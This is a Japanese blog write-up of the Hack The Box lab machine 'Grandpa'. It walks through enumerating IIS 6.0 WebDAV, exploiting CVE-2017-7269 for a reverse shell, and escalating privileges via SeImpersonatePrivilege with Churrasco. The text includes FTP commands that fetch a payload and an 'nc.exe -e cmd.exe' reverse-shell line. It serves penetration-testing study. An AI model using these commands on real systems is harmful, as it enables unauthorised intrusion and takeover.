All Articles

【Easy/Windows】Grandpa Writeup(HackTheBox)

「Hack The Box」という、ペネトレーションテストの学習プラットフォームを利用してセキュリティについて学んでいます。 「Hack The Box」のランクは、本記事執筆時点でProHackerです。

Hack The Box

今回は、HackTheBoxのリタイアマシン「Grandpa」のWriteUpです。

本記事について

本記事の内容は社会秩序に反する行為を推奨することを目的としたものではございません。

自身の所有する環境、もしくは許可された環境以外への攻撃の試行は、「不正アクセス行為の禁止等に関する法律(不正アクセス禁止法)」に違反する可能性があること、予めご留意ください。

またすべての発言は所属団体ではなく個人に帰属します。

もくじ

探索

ポートスキャン

とりあえずNmapを叩いていきます。

$ nmap -sV -sC -T4 $RHOST| tee nmap1.txt
PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 6.0
| http-methods: 
|_  Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH
|_http-title: Under Construction
| http-webdav-scan: 
|   Server Date: Sat, 04 Jun 2022 01:01:45 GMT
|   Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
|   Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
|   WebDAV type: Unknown
|_  Server Type: Microsoft-IIS/6.0
|_http-server-header: Microsoft-IIS/6.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.16 seconds

IISが稼働しているようなのでアクセスしてみました。

image-20220604100328237

あまり情報が取れなかったのでgobusterで探索します。

いくつかのパスが見つかりました。

$ gobuster dir -u http://$RHOST/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -t 40 | tee gobuster1.txt

/images               (Status: 301) [Size: 152] [--> http://$RHOST/images/]
/Images               (Status: 301) [Size: 152] [--> http://$RHOST/Images/]
/IMAGES               (Status: 301) [Size: 152] [--> http://$RHOST/IMAGES/] 
/_private             (Status: 403) [Size: 1529] 
  • Images

image-20220604100519971

  • _private

image-20220604101247760

これだけだと攻略の手掛かりにはならなさそうです。

feroxbusterも試してみましたが、特に有益な情報はありませんでした。

$ feroxbuster -u http://$RHOST/  -x asp,aspx -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt | tee feroxbuster.txt

WevDAVのスキャン

続いて、davtestを使ってWevDAVの確認を行います。

WevDAVはざっくり言うとHTTPベースのファイル転送機構です。

DAVTestを使うことで、WevDAVが稼働しているかをチェックすることができます。

$ /usr/bin/davtest -url http://$RHOST/
********************************************************
 Testing DAV connection
OPEN            SUCCEED:                http://$RHOST
********************************************************
NOTE    Random string for this session: raQC3An4
********************************************************
 Creating directory
MKCOL           FAIL
********************************************************
 Sending test files
PUT     jhtml   FAIL
PUT     cfm     FAIL
PUT     cgi     FAIL
PUT     jsp     FAIL
PUT     txt     FAIL
PUT     pl      FAIL
PUT     php     FAIL
PUT     shtml   FAIL
PUT     asp     FAIL
PUT     html    FAIL
PUT     aspx    FAIL

********************************************************

参考:ハッカーはDAVTestでWebDAVが有効なサーバーをテストする(Kali Linux) | AIを武器にホワイトハッカーになる

参考:http-webdav-scan NSE script — Nmap Scripting Engine documentation

Nmapのhttp-webdav-scanの結果からいくつかのメソッドが裕子になっていることを確認していたのですが、残念ながらそのまま使用することはできなさそうでした。

エクスプロイト

しかし、どうやらIIS 6.0のWevDAVには認証をバイパス可能な脆弱性があるようですので、これを利用して任意のコード実行ができそうです。

参考:Microsoft IIS 6.0 - WebDAV ‘ScStoragePathFromUrl’ Remote Buffer Overflow - Windows remote Exploit

今回は以下のエクスプロイトコードを拝借しました。

参考:iis6-exploit-2017-CVE-2017-7269

root@pentestlab:~# python revshell.py 
usage:iis6webdav.py targetip targetport reverseip reverseport

root@pentestlab:~# python revshell.py 10.10.10.14 80 10.10.14.2 9999

これでリバースシェルが取得できました。

しかし、非常に残念なことに今回取得できたシェルではuserフラグの取得はできないようでした。

whoami
nt authority\network service

というわけで権限昇格を目指していきます。

内部探索

とりあえずいつも通りユーザの権限を確認してみます。

whoami /pri
PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                               State   
============================= ========================================= ========
SeAuditPrivilege              Generate security audits                  Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 

SeImpersonatePrivilegeが有効なようです!

SeImpersonatePrivilegeとは、サーバがクライアントの権限になりすますことを許可する権限です。

この権限が有効な場合、Named Pipe Impersonationなどの攻撃が可能になります。

参考:getsystemの中身|ラック・セキュリティごった煮ブログ編集部|note

参考:Named Pipe Client Impersonation - HackTricks

攻撃の方法はいくつかあるとは思いますが、Windows Server 2003でSeImpersonatePrivilegenetwork serviceに割り当てられている場合、Churrascoを使うことで特権が取得できます。

というわけで、書き込み可能フォルダC:\wmpub\にFTPでファイルを転送してエクスプロイトを実行しました。

echo open 10.10.14.3 > ftp.txt && echo user user password >> ftp.txt && echo binary >> ftp.txt && echo get c.exe c.exe >> ftp.txt && echo quit >> ftp.txt

ftp -n < ftp.txt
.\c.exe -d "C:\wmpub\nc.exe -e cmd.exe 10.10.14.3 9999"

これでAdmin権限のシェルを取得できました。

image-20220612104939676

正直Churrascoが何をしているのかはあまり理解していないのですが、ソースは400行程度のようなので今度時間があるときにちゃんと読み解いていこうと思います。。

参考:Churrasco/Churrasco.cpp at master · Re4son/Churrasco · GitHub

ちなみに、FTPでWindowsに実行ファイルを転送するときはbinaryオプションを使用せずデフォルトのASCIIモードを使用してしまうと、以下のようなエラーが出てくるので注意が必要です。

c.exe
This program cannot be run in DOS mode.

参考:privilege escalation - This Program Can not Be Run in DOS Mode - Information Security Stack Exchange

参考:FTP Binary And ASCII Transfer Types And The Case Of Corrupt Files | JSCAPE

まとめ

Windowsはエクスプロイトの中身の理解が難しいのであんまりHackしている感がないですね。

ちゃんと理解できるようになりたい。